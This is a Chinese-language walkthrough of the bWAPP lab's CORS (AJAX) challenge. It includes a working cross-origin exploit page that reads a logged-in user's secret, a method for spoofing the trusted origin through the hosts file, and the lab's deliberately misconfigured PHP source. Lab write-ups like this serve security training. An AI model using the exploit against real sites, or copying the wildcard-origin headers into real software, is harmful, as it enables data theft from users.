这里做下BWAPP靶场的Cross-Origin Resource Sharing (AJAX)的题目。

0x01 Low级

正常用户登录后访问页面,提示尝试从恶意站点去通过Ajax请求来窃取Neo的秘密:

这里用户可以点击“secret”去查看Neo的秘密,并且可看到该页面响应报文的ACAO字段设置为*,但并未设置ACAC字段(想必是避免浏览器最后一道防线吧):

接着,我们可以直接编写我们的CORS跨域漏洞的Exp,因为无ACAC头,即无需带Cookie访问,因此直接将withCredentials那句注释掉就好:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!DOCTYPE>
<html>
<h1>Hello I evil page. </h1>
<script type="text/javascript">
function loadXMLDoc()
{
var xhr1;
if(window.XMLHttpRequest)
{
xhr1 = new XMLHttpRequest();
}
else
{
xhr1 = new ActiveXObject("Microsoft.XMLHTTP");
}
xhr1.onreadystatechange=function()
{
if(xhr1.readyState == 4 && xhr1.status == 200) //if receive xhr1 response
{
var datas=xhr1.responseText;
alert(datas);
}
}
xhr1.open("GET","http://192.168.17.147/bWAPP/secret-cors-1.php","true") //request user page.
//xhr1.withCredentials = true; //request with cookie
xhr1.send();
}
loadXMLDoc();
</script>
</html>

将其放置在攻击者服务器上,诱使已登录用户访问,然后就能窃取Neo的秘密信息了:

0x02 Medium级

确实是升级了,且给了提示说秘密信息只能让来自intranet.itsecgames.com域名的请求访问:

直接点击“srcret”访问是查看不到秘密信息的,因为此时请求的来源是BWAPP自己的域名而非intranet.itsecgames.com域名:

因此,若想成功访问该页面的秘密信息,我们需要添加Origin头字段并赋值为intranet.itsecgames.com域名:

接着,可能第一时间会想到,在Low级的EXP基础上,添加一条XHR设置请求头字段的语句,如下:

1
xhr1.setRequestHeader("Origin", "http://intranet.itsecgames.com");

然而,这样是行不通的,为啥?——因为XHR请求头并不是什么字段都可以设置的,在W3C标准里面明确规定了以下请求头信息是由浏览器控制的,开发者是不允许设置这些请求头字段的,且不区分大小写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Accept-Charset
Accept-Encoding
Access-Control-Request-Headers
Access-Control-Request-Method
Connection
Content-Length
Cookie
Cookie2
Date
DNT
Expect
Host
Keep-Alive
Origin
Referer
TE
Trailer
Transfer-Encoding
Upgrade
User-Agent
Via
Proxy-xxx
Sec-xxx

目前本人想到的解决办法就是注册该域名,这里本地测试就该hosts文件来实现:

然后exp.html和Low级是一模一样的,只是修改了想要窃取数据的页面地址为secret-cors-2.php:

0x03 High级

最后看下High级,提示不信任本地内网区域:

用户是可以直接访问得到秘密信息的,且可以看到并未设置ACAO头字段:

没有ACAO字段,也就是说不允许CORS进行跨域访问了,因此就不存在CORS跨域漏洞了。

0x04 源码分析

最后从代码层面看下吧。

sm_cors.php的关键代码如下,根据不同的级别引用不同的PHP文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
switch($_COOKIE["security_level"])
{
case "0" :
$hero = "Neo";
$file = "secret-cors-1.php";
break;
case "1" :
$hero = "Wolverine";
$file = "secret-cors-2.php";
$hint = "HINT: the secret is only available to requests from intranet.itsecgames.com...";
break;
case "2" :
$hero = "Johnny";
$file = "secret-cors-3.php";
$hint = "HINT: never trust local intranet zones!";
break;
default :

$hero = "Neo";
$file = "secret-cors-1.php";
break;
}

分别看下几个不同级别的PHP文件。

Low级,secret-cors-1.php,设置ACAO字段值为*且无ACAC字段,允许任何外域访问该页面并无需携带cookie,典型的CORS跨域漏洞:

1
2
3
4
5
<?php
header("Content-Type: text/plain");
header('Access-Control-Allow-Origin: *');
echo "Neo's secret: Oh why didn't I took that BLACK pill?";
?>

Medium级,secret-cors-2.php,检查请求头是否存在Origin字段且其值是否为http://intranet.itsecgames.com,同时设置响应报文头ACAO字段也为该域名:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
header("Content-Type: text/plain");
if(isset($_SERVER["HTTP_ORIGIN"]) and $_SERVER["HTTP_ORIGIN"] == "http://intranet.itsecgames.com")
{
header("Access-Control-Allow-Origin: http://intranet.itsecgames.com");
echo "Wolverine's secret: What's a Magneto?";

}
else
{
echo "This is just a normal page with no secrets :)";
}
?>

High级,secret-cors-3.php,未设置ACAO头字段,不允许跨域访问该页面,当然就不存在CORS跨域漏洞了:

1
2
3
4
<?php
header("Content-Type: text/plain");
echo "Johnny's secret: I'm the Ghost Rider!";
?>

小结一下:bWAPP靶场CORS题目并未涉及到带cookie访问,即未设置ACAC字段,可以说是是方便Low级的攻击利用,而在Medium级可自行添加ACAC字段来尝试看下区别,这里就不多说了。